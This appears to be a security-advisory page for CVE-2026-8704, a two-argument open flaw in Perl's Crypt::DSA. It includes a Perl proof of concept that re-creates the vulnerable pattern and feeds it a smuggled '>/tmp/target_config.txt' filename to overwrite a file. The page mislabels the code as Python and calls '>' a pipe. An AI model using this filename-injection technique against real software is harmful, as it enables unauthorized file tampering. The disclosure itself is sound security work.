Crypt::DSA versions through 1.19 for Perl use 2-args open, allowing existing files to be modified.
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Crypt::DSA <= 1.19
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl
# PoC for CVE-2026-8704: Demonstrating the insecure 2-arg open in Crypt::DSA <= 1.19
# This script simulates how a malicious filename can lead to arbitrary file modification.
use strict;
use warnings;
# Simulating the vulnerable behavior found in Crypt::DSA::Key
sub vulnerable_key_generation_simulation {
my $user_input_filename = shift;
print "[+] Attempting to write key to file using user input: $user_input_filename\n";
# VULNERABLE CODE PATTERN (2-arg open):
# If $user_input_filename contains ">", it opens in write mode.
# Example input: ">/tmp/malicious_file.txt"
open(my $fh, $user_input_filename) or die "Cannot open file: $!";
# Simulating writing key data
print $fh "-----BEGIN DSA PRIVATE KEY-----\n";
print $fh "MALICIOUS CONTENT INJECTED VIA 2-ARG OPEN\n";
print $fh "-----END DSA PRIVATE KEY-----\n";
close($fh);
print "[+] File operation completed.\n";
}
# Normal usage scenario
# vulnerable_key_generation_simulation("dsa_key.pem");
# Exploitation scenario:
# The attacker supplies a filename with a pipe '>' or path traversal '../'
# to modify an existing sensitive file.
print "[-] Starting Exploit Test...\n";
my $payload = ">/tmp/target_config.txt";
# Note: In a real scenario, this might come from a deserialized object or untrusted input.
vulnerable_key_generation_simulation($payload);
# Verify modification
if (-e "/tmp/target_config.txt") {
print "[SUCCESS] /tmp/target_config.txt was created/modified.\n";
} else {
print "[FAIL] File not found.\n";
}